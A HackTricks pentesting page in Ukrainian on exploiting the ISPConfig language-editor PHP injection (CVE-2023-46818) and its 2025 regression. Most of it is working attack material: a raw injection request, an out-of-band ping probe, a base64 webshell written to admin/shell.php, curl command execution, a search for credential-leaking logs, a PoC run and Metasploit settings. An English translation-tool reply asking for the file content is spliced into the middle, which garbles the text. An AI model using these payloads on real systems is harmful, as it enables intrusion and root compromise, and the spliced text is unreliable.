ISPConfig
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Огляд
ISPConfig — це панель керування хостингом з відкритим вихідним кодом. У старих збірках 3.2.x була функція редактора мовних файлів, яка, якщо була увімкнена для супер-адміністратора, дозволяла вбудовувати довільний PHP-код через пошкоджений запис перекладу. Це може призвести до RCE в контексті веб-сервера і, залежно від того, як виконується PHP, до privilege escalation.
Ключові стандартні шляхи:
- Корінь веб-сайту часто знаходиться в
/var/www/ispconfigколи сервіс запускається черезphp -Sабо через Apache/nginx. - Інтерфейс адміністратора доступний на HTTP(S) vhost (іноді прив’язаний лише до localhost; за потреби використовуйте SSH port-forward).
Порада: Якщо панель прив’язана локально (наприклад, 127.0.0.1:8080), перенаправте її:
ssh -L 9001:127.0.0.1:8080 user@target
# then browse http://127.0.0.1:9001
Редактор мов PHP code injection (CVE-2023-46818)
- Поширюється на: ISPConfig up to 3.2.11 (fixed in 3.2.11p1)
- Передумови:
- Увійти як вбудований обліковий запис superadmin
admin(за даними постачальника, інші ролі не постраждали) - Редактор мов має бути увімкнений:
admin_allow_langedit=yesу/usr/local/ispconfig/security/security_settings.ini - Наслідок: Аутентифікований
adminможе ін’єктувати довільний PHP, який записується у файл мови та виконується додатком, що дозволяє досягти RCE у веб-контексті
Джерела: NVD entry CVE-2023-46818 та vendor advisory link у розділі References нижче.
Ручний сценарій експлуатації
- Відкрийте/створіть файл мови, щоб отримати CSRF tokens
Надішліть перший POST, щоб ініціалізувати форму та витягнути поля CSRF з HTML-відповіді (csrf_id, csrf_key). Приклад шляху запиту: /admin/language_edit.php.
- Ін’єктуйте PHP через records[] та збережіть
Надішліть другий POST, який включає поля CSRF та шкідливий запис перекладу. Minimal command-execution probes:
POST /admin/language_edit.php HTTP/1.1
Host: 127.0.0.1:9001
Content-Type: application/x-www-form-urlencoded
Cookie: ispconfig_auth=...
lang=en&module=admin&file=messages&csrf_id=<id>&csrf_key=<key>&records[]=<?php echo shell_exec('id'); ?>
Out-of-band тест (спостереження за ICMP):
records[]=<?php echo shell_exec('ping -c 1 10.10.14.6'); ?>
- Записати файли й розмістити webshell
Використайте file_put_contents, щоб створити файл у шляху, доступному з вебу (наприклад, admin/):
records[]=<?php file_put_contents('admin/pwn.txt','owned'); ?>
Потім напишіть простий webshell, використовуючи base64, щоб уникнути небажаних символів у тілі POST:
records[]=<?php file_put_contents('admin/shell.php', base64_decode('PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsiY21kIl0pIDsgPz4K')); ?>
I don’t have the file content. Please paste the markdown from src/network-services-pentesting/pentesting-web/ispconfig.md that you want translated. I will translate the relevant English text to Ukrainian while preserving all code, tags, links, paths and markdown/html syntax.
curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id'
Якщо PHP виконується від імені root (наприклад, через php -S 127.0.0.1:8080, запущений від root), це призводить до негайного root RCE. Інакше ви отримуєте виконання коду від імені користувача веб-сервера.
2025 regression (ISPConfig 3.3.0 / 3.3.0p1)
Помилка редактора мов знову з’явилася в 3.3.0/3.3.0p1 і була виправлена в 3.3.0p2. Попередні умови не змінилися (admin_allow_langedit та вхід як admin). Той самий патч також усунув monitor XSS та world-readable rotated logs.
Notes:
- У версіях 3.3.0/3.3.0p1 world-readable rotated logs у
/usr/local/ispconfig/interface/log/можуть leak облікові дані, якщо було увімкнено відлагоджувальне логування:
find /usr/local/ispconfig/interface/log -type f -perm -004 -name '*.gz' -exec zcat {} + | head
- Кроки експлоїта відповідають CVE-2023-46818; 3.3.0p2 додає додаткові перевірки перед редагуванням мови.
Python PoC
Готовий до використання експлоїт автоматизує token handling і доставку payload:
Приклад запуску:
python3 cve-2023-46818.py http://127.0.0.1:9001 admin <password>
Metasploit модуль (випущено в липні 2025)
Rapid7 додала exploit/linux/http/ispconfig_lang_edit_php_code_injection, який може автоматично ввімкнути admin_allow_langedit, якщо вказаний обліковий запис admin має права system-config.
use exploit/linux/http/ispconfig_lang_edit_php_code_injection
set RHOSTS 10.10.10.50
set RPORT 8080
set USERNAME admin
set PASSWORD <admin_pass>
set TARGETURI /
run
Модуль записує payload, закодований у base64, через records[] і виконує його, отримуючи PHP Meterpreter або користувацький payload.
Посилення безпеки
- Оновіть до 3.2.11p1 або новішої версії для початкової вразливості, і до 3.3.0p2 або новішої для регресії 2025 року.
- Вимкніть редактор мов, якщо він не є строго необхідним:
admin_allow_langedit=no
- Не запускайте панель під root; налаштуйте PHP-FPM або веб-сервер так, щоб вони скидали привілеї
- Вимагайте надійної автентифікації для вбудованого облікового запису
admin
Посилання
- ISPConfig 3.2.11p1 Released (fixes language editor code injection)
- CVE-2023-46818 – NVD
- bipbopbup/CVE-2023-46818-python-exploit
- HTB Nocturnal: Root via ISPConfig language editor RCE
- ISPConfig 3.3.0p2 Released – Security Update
- CXSecurity WLB-2025070017 – Metasploit module for ISPConfig language_edit.php
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.


